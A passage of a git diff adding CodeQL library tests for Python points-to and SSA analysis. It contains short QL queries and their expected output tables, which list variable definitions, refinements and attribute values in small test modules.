cls | + PointsTo::points_to(f, _, unknownValue(), cls, _) and + clsname = f.getAQlClass() and + cls != theUnknownType() and + problem = "unknownValue() has class != theUnknownType()" and + what = cls.getName() + ) +} + +from string clsname, string problem, string what +where ssa_sanity(clsname, problem, what) +select clsname, what, problem + diff --git a/python/ql/test/library-tests/PointsTo/new/SourceEdgeDefinitions.expected b/python/ql/test/library-tests/PointsTo/new/SourceEdgeDefinitions.expected new file mode 100644 index 00000000000..900b5ee9152 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SourceEdgeDefinitions.expected @@ -0,0 +1,22 @@ +| b_condition.py:7 | Local Variable x | ControlFlowNode for x | +| b_condition.py:13 | Local Variable x | ControlFlowNode for x | +| b_condition.py:19 | Local Variable x | ControlFlowNode for x | +| b_condition.py:25 | Local Variable x | ControlFlowNode for x | +| b_condition.py:32 | Local Variable x | ControlFlowNode for x | +| b_condition.py:36 | Local Variable x | ControlFlowNode for x | +| b_condition.py:42 | Global Variable v2 | ControlFlowNode for v2 | +| b_condition.py:51 | Local Variable x | ControlFlowNode for x | +| b_condition.py:57 | Local Variable v | ControlFlowNode for v | +| b_condition.py:62 | Local Variable x | ControlFlowNode for x | +| b_condition.py:64 | Local Variable y | ControlFlowNode for y | +| b_condition.py:65 | Local Variable x | ControlFlowNode for x | +| b_condition.py:66 | Local Variable x | ControlFlowNode for x | +| b_condition.py:71 | Local Variable b | ControlFlowNode for b | +| b_condition.py:77 | Local Variable t | ControlFlowNode for t | +| b_condition.py:82 | Local Variable foo | ControlFlowNode for foo | +| b_condition.py:88 | Local Variable x | ControlFlowNode for x | +| b_condition.py:88 | Local Variable y | ControlFlowNode for y | +| b_condition.py:90 | Local Variable y | ControlFlowNode for y | +| b_condition.py:102 | Local Variable a | ControlFlowNode for a | +| b_condition.py:104 | Local Variable a | ControlFlowNode for a | +| b_condition.py:105 | Local Variable a | ControlFlowNode for a | diff --git a/python/ql/test/library-tests/PointsTo/new/SourceEdgeDefinitions.ql b/python/ql/test/library-tests/PointsTo/new/SourceEdgeDefinitions.ql new file mode 100644 index 00000000000..4feb22b31ba --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SourceEdgeDefinitions.ql @@ -0,0 +1,10 @@ + +import python +import semmle.dataflow.SSA +import semmle.python.pointsto.PointsTo + +import Util + +from SsaSourceVariable var, ControlFlowNode use, BasicBlock pred +where var.hasRefinementEdge(use, pred, _) +select locate(pred.getLastNode().getLocation(), "ab"), var.(Variable), use.toString() diff --git a/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.expected b/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.expected new file mode 100644 index 00000000000..cc5b4db2784 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.expected @@ -0,0 +1,120 @@ +| a_simple.py:0 | Global Variable C | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable __name__ | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable __package__ | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable f | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable f1 | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable func | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable i1 | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable multi_loop | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable multi_loop_in_try | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable s | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable vararg_kwarg | Entry node for Module code.a_simple | definition | +| a_simple.py:0 | Global Variable with_definition | Entry node for Module code.a_simple | definition | +| a_simple.py:2 | Global Variable f1 | ControlFlowNode for f1 | definition | +| a_simple.py:5 | Global Variable i1 | ControlFlowNode for i1 | definition | +| a_simple.py:6 | Global Variable s | ControlFlowNode for s | definition | +| a_simple.py:8 | Global Variable func | ControlFlowNode for func | definition | +| a_simple.py:11 | Global Variable C | ControlFlowNode for C | definition | +| a_simple.py:14 | Global Variable vararg_kwarg | ControlFlowNode for vararg_kwarg | definition | +| a_simple.py:14 | Local Variable d | ControlFlowNode for d | definition | +| a_simple.py:14 | Local Variable d | Entry node for Function vararg_kwarg | definition | +| a_simple.py:14 | Local Variable t | ControlFlowNode for t | definition | +| a_simple.py:14 | Local Variable t | Entry node for Function vararg_kwarg | definition | +| a_simple.py:18 | Global Variable multi_loop | ControlFlowNode for multi_loop | definition | +| a_simple.py:18 | Local Variable seq | ControlFlowNode for seq | definition | +| a_simple.py:18 | Local Variable x | Entry node for Function multi_loop | definition | +| a_simple.py:18 | Local Variable y | Entry node for Function multi_loop | definition | +| a_simple.py:19 | Local Variable x | ControlFlowNode for x | definition | +| a_simple.py:20 | Local Variable x | ControlFlowNode for x | definition | +| a_simple.py:20 | Local Variable y | ControlFlowNode for y | definition | +| a_simple.py:23 | Global Variable with_definition | ControlFlowNode for with_definition | definition | +| a_simple.py:23 | Local Variable x | ControlFlowNode for x | definition | +| a_simple.py:23 | Local Variable y | Entry node for Function with_definition | definition | +| a_simple.py:24 | Local Variable y | ControlFlowNode for y | definition | +| a_simple.py:27 | Global Variable multi_loop_in_try | ControlFlowNode for multi_loop_in_try | definition | +| a_simple.py:27 | Local Variable p | Entry node for Function multi_loop_in_try | definition | +| a_simple.py:27 | Local Variable q | Entry node for Function multi_loop_in_try | definition | +| a_simple.py:27 | Local Variable x | ControlFlowNode for x | definition | +| a_simple.py:29 | Local Variable p | ControlFlowNode for p | definition | +| a_simple.py:29 | Local Variable q | ControlFlowNode for q | definition | +| a_simple.py:34 | Global Variable f | ControlFlowNode for f | definition | +| a_simple.py:34 | Local Variable args | ControlFlowNode for args | definition | +| a_simple.py:34 | Local Variable args | Entry node for Function f | definition | +| a_simple.py:34 | Local Variable kwargs | ControlFlowNode for kwargs | definition | +| a_simple.py:34 | Local Variable kwargs | Entry node for Function f | definition | +| b_condition.py:0 | Global Variable __name__ | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable __package__ | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable double_attr_check | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable f | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable g | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable h | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable k | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable loop | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable not_or_not | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable odasa6261 | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable split_bool1 | Entry node for Module code.b_condition | definition | +| b_condition.py:0 | Global Variable v2 | Entry node for Module code.b_condition | definition | +| b_condition.py:4 | Global Variable f | ControlFlowNode for f | definition | +| b_condition.py:4 | Local Variable x | Entry node for Function f | definition | +| b_condition.py:4 | Local Variable y | ControlFlowNode for y | definition | +| b_condition.py:5 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:8 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:9 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:11 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:14 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:15 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:17 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:20 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:21 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:23 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:25 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:26 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:28 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:29 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:31 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:33 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:34 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:36 | Local Variable x | ControlFlowNode for isinstance() | refinement | +| b_condition.py:37 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:39 | Global Variable v2 | ControlFlowNode for v2 | definition | +| b_condition.py:41 | Global Variable v2 | ControlFlowNode for Attribute | refinement | +| b_condition.py:50 | Global Variable g | ControlFlowNode for g | definition | +| b_condition.py:50 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:55 | Global Variable loop | ControlFlowNode for loop | definition | +| b_condition.py:55 | Local Variable seq | ControlFlowNode for seq | definition | +| b_condition.py:55 | Local Variable v | Entry node for Function loop | definition | +| b_condition.py:56 | Local Variable v | ControlFlowNode for v | definition | +| b_condition.py:58 | Local Variable v | ControlFlowNode for use() | refinement | +| b_condition.py:61 | Global Variable double_attr_check | ControlFlowNode for double_attr_check | definition | +| b_condition.py:61 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:61 | Local Variable y | ControlFlowNode for y | definition | +| b_condition.py:69 | Global Variable h | ControlFlowNode for h | definition | +| b_condition.py:69 | Local Variable b | Entry node for Function h | definition | +| b_condition.py:70 | Local Variable b | ControlFlowNode for b | definition | +| b_condition.py:72 | Local Variable b | ControlFlowNode for b | definition | +| b_condition.py:75 | Global Variable k | ControlFlowNode for k | definition | +| b_condition.py:75 | Local Variable t | Entry node for Function k | definition | +| b_condition.py:76 | Local Variable t | ControlFlowNode for t | definition | +| b_condition.py:78 | Local Variable t | ControlFlowNode for t | definition | +| b_condition.py:79 | Local Variable t | ControlFlowNode for use() | refinement | +| b_condition.py:81 | Global Variable odasa6261 | ControlFlowNode for odasa6261 | definition | +| b_condition.py:81 | Local Variable bar | Entry node for Function odasa6261 | definition | +| b_condition.py:81 | Local Variable foo | ControlFlowNode for foo | definition | +| b_condition.py:82 | Local Variable foo | ControlFlowNode for callable() | refinement | +| b_condition.py:83 | Local Variable bar | ControlFlowNode for bar | definition | +| b_condition.py:83 | Local Variable foo | Entry node for Function bar | definition | +| b_condition.py:87 | Global Variable split_bool1 | ControlFlowNode for split_bool1 | definition | +| b_condition.py:87 | Local Variable x | ControlFlowNode for x | definition | +| b_condition.py:87 | Local Variable y | ControlFlowNode for y | definition | +| b_condition.py:90 | Local Variable x | ControlFlowNode for UnaryExpr | refinement | +| b_condition.py:90 | Local Variable x | ControlFlowNode for x | refinement | +| b_condition.py:92 | Local Variable x | ControlFlowNode for x | refinement | +| b_condition.py:93 | Local Variable y | ControlFlowNode for use() | refinement | +| b_condition.py:95 | Local Variable y | ControlFlowNode for use() | refinement | +| b_condition.py:96 | Local Variable y | ControlFlowNode for y | refinement | +| b_condition.py:97 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:99 | Local Variable x | ControlFlowNode for use() | refinement | +| b_condition.py:101 | Global Variable not_or_not | ControlFlowNode for not_or_not | definition | +| b_condition.py:101 | Local Variable a | ControlFlowNode for a | definition | +| b_condition.py:101 | Local Variable a | Entry node for Function not_or_not | definition | +| b_condition.py:102 | Local Variable a | ControlFlowNode for isinstance() | refinement | diff --git a/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.ql b/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.ql new file mode 100644 index 00000000000..95341360bf4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.ql @@ -0,0 +1,13 @@ + +import python +import semmle.dataflow.SSA +import semmle.python.pointsto.PointsTo + +import Util + +from SsaSourceVariable var, ControlFlowNode defn, string kind +where +var.hasDefiningNode(defn) and kind = "definition" +or +var.hasRefinement(_, defn) and kind = "refinement" +select locate(defn.getLocation(), "ab"), var.(Variable), defn.toString(), kind diff --git a/python/ql/test/library-tests/PointsTo/new/SsaAttr.expected b/python/ql/test/library-tests/PointsTo/new/SsaAttr.expected new file mode 100644 index 00000000000..f518b462be1 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SsaAttr.expected @@ -0,0 +1,91 @@ +| b_condition.py:41 | v2_2 | x | AttributeAssignment 'x'(v2_1) | int 1 | import | +| b_condition.py:43 | v2_3 | x | Pi(v2_2) [true] | int 1 | import | +| b_condition.py:47 | v2_4 | x | Pi(v2_2) [false] | int 1 | import | +| b_condition.py:47 | v2_5 | x | phi(v2_3, v2_4) | int 1 | import | +| f_finally.py:3 | self_3 | _closed | phi(self_1, self_2) | bool True | runtime | +| f_finally.py:4 | self_1 | _closed | AttributeAssignment '_closed'(self_0) | bool True | runtime | +| f_finally.py:10 | self_2 | _closed | AttributeAssignment '_close'(self_1) | bool True | runtime | +| g_class_init.py:6 | self_1 | y | SelfCallsiteRefinement(self_0) | int 2 | runtime | +| g_class_init.py:6 | self_1 | z | SelfCallsiteRefinement(self_0) | int 3 | runtime | +| g_class_init.py:7 | self_2 | x | AttributeAssignment 'x'(self_1) | int 1 | runtime | +| g_class_init.py:7 | self_2 | y | AttributeAssignment 'x'(self_1) | int 2 | runtime | +| g_class_init.py:7 | self_2 | z | AttributeAssignment 'x'(self_1) | int 3 | runtime | +| g_class_init.py:10 | self_1 | y | AttributeAssignment 'y'(self_0) | int 2 | code/g_class_init.py:6 from runtime | +| g_class_init.py:11 | self_2 | y | SelfCallsiteRefinement(self_1) | int 2 | code/g_class_init.py:6 from runtime | +| g_class_init.py:11 | self_2 | z | SelfCallsiteRefinement(self_1) | int 3 | code/g_class_init.py:6 from runtime | +| g_class_init.py:13 | self_0 | y | ParameterDefinition | int 2 | code/g_class_init.py:11 from code/g_class_init.py:6 from runtime | +| g_class_init.py:14 | self_1 | y | AttributeAssignment 'z'(self_0) | int 2 | code/g_class_init.py:11 from code/g_class_init.py:6 from runtime | +| g_class_init.py:14 | self_1 | z | AttributeAssignment 'z'(self_0) | int 3 | code/g_class_init.py:11 from code/g_class_init.py:6 from runtime | +| g_class_init.py:16 | self_0 | x | ParameterDefinition | int 1 | runtime | +| g_class_init.py:16 | self_0 | y | ParameterDefinition | int 2 | runtime | +| g_class_init.py:16 | self_0 | z | ParameterDefinition | int 3 | runtime | +| g_class_init.py:19 | self_1 | x | Pi(self_0) [true] | int 1 | runtime | +| g_class_init.py:19 | self_1 | y | Pi(self_0) [true] | int 2 | runtime | +| g_class_init.py:19 | self_1 | z | Pi(self_0) [true] | int 3 | runtime | +| g_class_init.py:20 | self_2 | x | Pi(self_0) [false] | int 1 | runtime | +| g_class_init.py:20 | self_2 | z | Pi(self_0) [false] | int 3 | runtime | +| g_class_init.py:20 | self_3 | x | phi(self_1, self_2) | int 1 | runtime | +| g_class_init.py:20 | self_3 | y | phi(self_1, self_2) | int 2 | runtime | +| g_class_init.py:20 | self_3 | z | phi(self_1, self_2) | int 3 | runtime | +| g_class_init.py:46 | self_3 | version | phi(self_1, self_2) | 'v2' | runtime | +| g_class_init.py:46 | self_3 | version | phi(self_1, self_2) | 'v3' | runtime | +| g_class_init.py:48 | self_1 | version | AttributeAssignment 'version'(self_0) | 'v2' | runtime | +| g_class_init.py:50 | self_2 | version | AttributeAssignment 'version'(self_0) | 'v3' | runtime | +| g_class_init.py:52 | self_0 | version | ParameterDefinition | 'v2' | runtime | +| g_class_init.py:52 | self_0 | version | ParameterDefinition | 'v3' | runtime | +| g_class_init.py:52 | self_2 | version | Pi(self_0) [false] | 'v3' | runtime | +| g_class_init.py:52 | self_3 | version | phi(self_1, self_2) | 'v2' | runtime | +| g_class_init.py:52 | self_3 | version | phi(self_1, self_2) | 'v3' | runtime | +| g_class_init.py:54 | self_1 | version | Pi(self_0) [true] | 'v2' | runtime | +| i_imports.py:7 | *_1 | x | ImportStarRefinement(*_0) | float 1.0 | import | +| i_imports.py:7 | *_1 | y | ImportStarRefinement(*_0) | float 2.0 | import | +| i_imports.py:27 | *_2 | module1 | ImportStarRefinement(*_1) | Module code.test_package.module1 | import | +| i_imports.py:27 | *_2 | module2 | ImportStarRefinement(*_1) | Module code.test_package.module2 | import | +| i_imports.py:27 | *_2 | p | ImportStarRefinement(*_1) | int 1 | import | +| i_imports.py:27 | *_2 | q | ImportStarRefinement(*_1) | int 2 | import | +| i_imports.py:27 | *_2 | r | ImportStarRefinement(*_1) | Dict | import | +| i_imports.py:27 | *_2 | s | ImportStarRefinement(*_1) | NoneType None | import | +| i_imports.py:27 | *_2 | x | ImportStarRefinement(*_1) | float 1.0 | import | +| i_imports.py:27 | *_2 | y | ImportStarRefinement(*_1) | float 2.0 | import | +| k_getsetattr.py:6 | self_0 | a | ParameterDefinition | float 7.0 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:6 | self_0 | c | ParameterDefinition | int 2 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:7 | self_1 | a | ArgumentRefinement(self_0) | int 0 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:7 | self_1 | a | ArgumentRefinement(self_0) | int 0 | runtime | +| k_getsetattr.py:7 | self_1 | c | ArgumentRefinement(self_0) | int 2 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | self_2 | a | ArgumentRefinement(self_1) | int 0 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | self_2 | a | ArgumentRefinement(self_1) | int 0 | runtime | +| k_getsetattr.py:8 | self_2 | b | ArgumentRefinement(self_1) | int 1 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | self_2 | b | ArgumentRefinement(self_1) | int 1 | runtime | +| k_getsetattr.py:8 | self_2 | c | ArgumentRefinement(self_1) | int 2 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:9 | self_3 | a | ArgumentRefinement(self_2) | int 0 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:9 | self_3 | a | ArgumentRefinement(self_2) | int 0 | runtime | +| k_getsetattr.py:9 | self_3 | b | ArgumentRefinement(self_2) | int 1 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:9 | self_3 | b | ArgumentRefinement(self_2) | int 1 | runtime | +| k_getsetattr.py:9 | self_3 | c | ArgumentRefinement(self_2) | int 2 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:10 | self_4 | a | ArgumentRefinement(self_3) | int 0 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:10 | self_4 | a | ArgumentRefinement(self_3) | int 0 | runtime | +| k_getsetattr.py:10 | self_4 | b | ArgumentRefinement(self_3) | int 1 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:10 | self_4 | b | ArgumentRefinement(self_3) | int 1 | runtime | +| k_getsetattr.py:10 | self_4 | c | ArgumentRefinement(self_3) | int 2 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:13 | self_1 | a | ArgumentRefinement(self_0) | float 7.0 | runtime | +| k_getsetattr.py:14 | self_2 | a | ArgumentRefinement(self_1) | float 7.0 | runtime | +| k_getsetattr.py:14 | self_2 | c | ArgumentRefinement(self_1) | int 2 | runtime | +| k_getsetattr.py:15 | self_3 | a | SelfCallsiteRefinement(self_2) | int 0 | runtime | +| k_getsetattr.py:15 | self_3 | b | SelfCallsiteRefinement(self_2) | int 1 | runtime | +| k_getsetattr.py:15 | self_3 | c | SelfCallsiteRefinement(self_2) | int 2 | runtime | +| k_getsetattr.py:16 | self_4 | a | ArgumentRefinement(self_3) | int 0 | runtime | +| k_getsetattr.py:16 | self_4 | b | ArgumentRefinement(self_3) | int 1 | runtime | +| k_getsetattr.py:16 | self_4 | c | ArgumentRefinement(self_3) | int 2 | runtime | +| k_getsetattr.py:17 | self_5 | a | ArgumentRefinement(self_4) | int 0 | runtime | +| k_getsetattr.py:17 | self_5 | b | ArgumentRefinement(self_4) | int 1 | runtime | +| k_getsetattr.py:17 | self_5 | c | ArgumentRefinement(self_4) | int 2 | runtime | +| k_getsetattr.py:18 | self_6 | a | ArgumentRefinement(self_5) | int 0 | runtime | +| k_getsetattr.py:18 | self_6 | b | ArgumentRefinement(self_5) | int 1 | runtime | +| k_getsetattr.py:18 | self_6 | c | ArgumentRefinement(self_5) | int 2 | runtime | +| k_getsetattr.py:25 | c1_1 | a | AttributeAssignment 'a'(c1_0) | int 10 | runtime | +| k_getsetattr.py:27 | c2_1 | a | AttributeAssignment 'a'(c2_0) | int 20 | runtime | +| k_getsetattr.py:28 | c2_2 | a | phi(c2_0, c2_1) | int 20 | runtime | +| k_getsetattr.py:31 | c3_1 | a | AttributeAssignment 'a'(c3_0) | int 30 | runtime | +| m_attributes.py:6 | self_1 | a | AttributeAssignment 'a'(self_0) | int 17 | runtime | +| m_attributes.py:6 | self_1 | a | AttributeAssignment 'a'(self_0) | int 100 | code/m_attributes.py:13 from import | +| m_attributes.py:8 | self_0 | a | ParameterDefinition | int 17 | runtime | diff --git a/python/ql/test/library-tests/PointsTo/new/SsaAttr.ql b/python/ql/test/library-tests/PointsTo/new/SsaAttr.ql new file mode 100644 index 00000000000..4a2fac535cf --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SsaAttr.ql @@ -0,0 +1,12 @@ + +import python +private import semmle.python.pointsto.PointsTo +private import semmle.python.pointsto.PointsToContext +import Util + +from EssaVariable var, string name, Object o, PointsToContext ctx +where PointsTo::Test::ssa_variable_named_attribute_points_to(var, ctx, name, o, _, _) +select +locate(var.getDefinition().getLocation(), "abdfgikm"), var.getRepresentation(), +name, var.getDefinition().getRepresentation(), repr(o), ctx + diff --git a/python/ql/test/library-tests/PointsTo/new/SsaUses.expected b/python/ql/test/library-tests/PointsTo/new/SsaUses.expected new file mode 100644 index 00000000000..aff87febe79 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SsaUses.expected @@ -0,0 +1,651 @@ +| __init__.py:0 | *_2 | Exit node for Module code.test_package.__init__ | +| __init__.py:0 | __name___0 | Exit node for Module code.__init__ | +| __init__.py:0 | __name___0 | Exit node for Module code.package.__init__ | +| __init__.py:0 | __name___2 | Exit node for Module code.test_package.__init__ | +| __init__.py:0 | __package___0 | Exit node for Module code.__init__ | +| __init__.py:0 | __package___0 | Exit node for Module code.package.__init__ | +| __init__.py:0 | __package___2 | Exit node for Module code.test_package.__init__ | +| __init__.py:0 | module2_1 | Exit node for Module code.package.__init__ | +| __init__.py:0 | module3_0 | Exit node for Module code.package.__init__ | +| __init__.py:0 | module4_0 | Exit node for Module code.package.__init__ | +| __init__.py:0 | module5_0 | Exit node for Module code.package.__init__ | +| __init__.py:0 | moduleX_1 | Exit node for Module code.package.__init__ | +| __init__.py:0 | module_0 | Exit node for Module code.package.__init__ | +| __init__.py:0 | sys_2 | Exit node for Module code.test_package.__init__ | +| __init__.py:1 | *_0 | ControlFlowNode for from module1 import * | +| __init__.py:1 | __name___0 | ControlFlowNode for from module1 import * | +| __init__.py:1 | __package___0 | ControlFlowNode for from module1 import * | +| __init__.py:1 | sys_0 | ControlFlowNode for from module1 import * | +| __init__.py:2 | *_1 | ControlFlowNode for from module2 import * | +| __init__.py:2 | __name___1 | ControlFlowNode for from module2 import * | +| __init__.py:2 | __package___1 | ControlFlowNode for from module2 import * | +| __init__.py:2 | sys_1 | ControlFlowNode for from module2 import * | +| __init__.py:4 | module2_0 | ControlFlowNode for ImportMember | +| __init__.py:6 | module2_1 | ControlFlowNode for ImportMember | +| __init__.py:7 | module3_0 | ControlFlowNode for ImportMember | +| __init__.py:8 | moduleX_0 | ControlFlowNode for ImportMember | +| a_simple.py:0 | C_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | __name___0 | Exit node for Module code.a_simple | +| a_simple.py:0 | __package___0 | Exit node for Module code.a_simple | +| a_simple.py:0 | f1_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | f_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | func_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | i1_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | multi_loop_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | multi_loop_in_try_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | s_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | vararg_kwarg_0 | Exit node for Module code.a_simple | +| a_simple.py:0 | with_definition_0 | Exit node for Module code.a_simple | +| a_simple.py:14 | d_0 | Exit node for Function vararg_kwarg | +| a_simple.py:14 | t_0 | Exit node for Function vararg_kwarg | +| a_simple.py:15 | t_0 | ControlFlowNode for t | +| a_simple.py:16 | d_0 | ControlFlowNode for d | +| a_simple.py:18 | seq_0 | Exit node for Function multi_loop | +| a_simple.py:18 | x_1 | Exit node for Function multi_loop | +| a_simple.py:18 | y_1 | Exit node for Function multi_loop | +| a_simple.py:20 | seq_0 | ControlFlowNode for seq | +| a_simple.py:21 | x_2 | ControlFlowNode for x | +| a_simple.py:23 | x_0 | Exit node for Function with_definition | +| a_simple.py:23 | y_0 | Exit node for Function with_definition | +| a_simple.py:24 | x_0 | ControlFlowNode for x | +| a_simple.py:25 | y_0 | ControlFlowNode for y | +| a_simple.py:27 | p_1 | Exit node for Function multi_loop_in_try | +| a_simple.py:27 | q_1 | Exit node for Function multi_loop_in_try | +| a_simple.py:27 | x_0 | Exit node for Function multi_loop_in_try | +| a_simple.py:29 | x_0 | ControlFlowNode for x | +| a_simple.py:30 | p_2 | ControlFlowNode for p | +| a_simple.py:34 | args_0 | Exit node for Function f | +| a_simple.py:34 | kwargs_0 | Exit node for Function f | +| a_simple.py:35 | args_0 | ControlFlowNode for args | +| a_simple.py:36 | kwargs_0 | ControlFlowNode for kwargs | +| b_condition.py:0 | __name___0 | Exit node for Module code.b_condition | +| b_condition.py:0 | __package___0 | Exit node for Module code.b_condition | +| b_condition.py:0 | double_attr_check_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | f_0 | Exit node for Module code.b_condition | +| b_condition.py:0 | g_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | h_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | k_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | loop_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | not_or_not_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | odasa6261_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | split_bool1_1 | Exit node for Module code.b_condition | +| b_condition.py:0 | v2_5 | Exit node for Module code.b_condition | +| b_condition.py:4 | x_25 | Exit node for Function f | +| b_condition.py:4 | y_0 | Exit node for Function f | +| b_condition.py:7 | x_0 | ControlFlowNode for x | +| b_condition.py:9 | x_3 | ControlFlowNode for x | +| b_condition.py:13 | x_4 | ControlFlowNode for x | +| b_condition.py:15 | x_7 | ControlFlowNode for x | +| b_condition.py:19 | x_8 | ControlFlowNode for x | +| b_condition.py:21 | x_11 | ControlFlowNode for x | +| b_condition.py:25 | x_12 | ControlFlowNode for x | +| b_condition.py:25 | x_13 | ControlFlowNode for x | +| b_condition.py:26 | x_14 | ControlFlowNode for x | +| b_condition.py:29 | x_17 | ControlFlowNode for x | +| b_condition.py:32 | x_18 | ControlFlowNode for x | +| b_condition.py:34 | x_21 | ControlFlowNode for x | +| b_condition.py:36 | x_22 | ControlFlowNode for x | +| b_condition.py:37 | x_24 | ControlFlowNode for x | +| b_condition.py:39 | __name___0 | ControlFlowNode for thing() | +| b_condition.py:39 | __package___0 | ControlFlowNode for thing() | +| b_condition.py:39 | double_attr_check_0 | ControlFlowNode for thing() | +| b_condition.py:39 | f_0 | ControlFlowNode for thing() | +| b_condition.py:39 | g_0 | ControlFlowNode for thing() | +| b_condition.py:39 | h_0 | ControlFlowNode for thing() | +| b_condition.py:39 | k_0 | ControlFlowNode for thing() | +| b_condition.py:39 | loop_0 | ControlFlowNode for thing() | +| b_condition.py:39 | not_or_not_0 | ControlFlowNode for thing() | +| b_condition.py:39 | odasa6261_0 | ControlFlowNode for thing() | +| b_condition.py:39 | split_bool1_0 | ControlFlowNode for thing() | +| b_condition.py:39 | v2_0 | ControlFlowNode for thing() | +| b_condition.py:41 | v2_1 | ControlFlowNode for v2 | +| b_condition.py:42 | v2_2 | ControlFlowNode for v2 | +| b_condition.py:43 | __name___0 | ControlFlowNode for use() | +| b_condition.py:43 | __package___0 | ControlFlowNode for use() | +| b_condition.py:43 | double_attr_check_0 | ControlFlowNode for use() | +| b_condition.py:43 | f_0 | ControlFlowNode for use() | +| b_condition.py:43 | g_0 | ControlFlowNode for use() | +| b_condition.py:43 | h_0 | ControlFlowNode for use() | +| b_condition.py:43 | k_0 | ControlFlowNode for use() | +| b_condition.py:43 | loop_0 | ControlFlowNode for use() | +| b_condition.py:43 | not_or_not_0 | ControlFlowNode for use() | +| b_condition.py:43 | odasa6261_0 | ControlFlowNode for use() | +| b_condition.py:43 | split_bool1_0 | ControlFlowNode for use() | +| b_condition.py:43 | v2_3 | ControlFlowNode for use() | +| b_condition.py:43 | v2_3 | ControlFlowNode for v2 | +| b_condition.py:44 | __name___0 | ControlFlowNode for use() | +| b_condition.py:44 | __package___0 | ControlFlowNode for use() | +| b_condition.py:44 | double_attr_check_0 | ControlFlowNode for use() | +| b_condition.py:44 | f_0 | ControlFlowNode for use() | +| b_condition.py:44 | g_0 | ControlFlowNode for use() | +| b_condition.py:44 | h_0 | ControlFlowNode for use() | +| b_condition.py:44 | k_0 | ControlFlowNode for use() | +| b_condition.py:44 | loop_0 | ControlFlowNode for use() | +| b_condition.py:44 | not_or_not_0 | ControlFlowNode for use() | +| b_condition.py:44 | odasa6261_0 | ControlFlowNode for use() | +| b_condition.py:44 | split_bool1_0 | ControlFlowNode for use() | +| b_condition.py:44 | v2_3 | ControlFlowNode for use() | +| b_condition.py:44 | 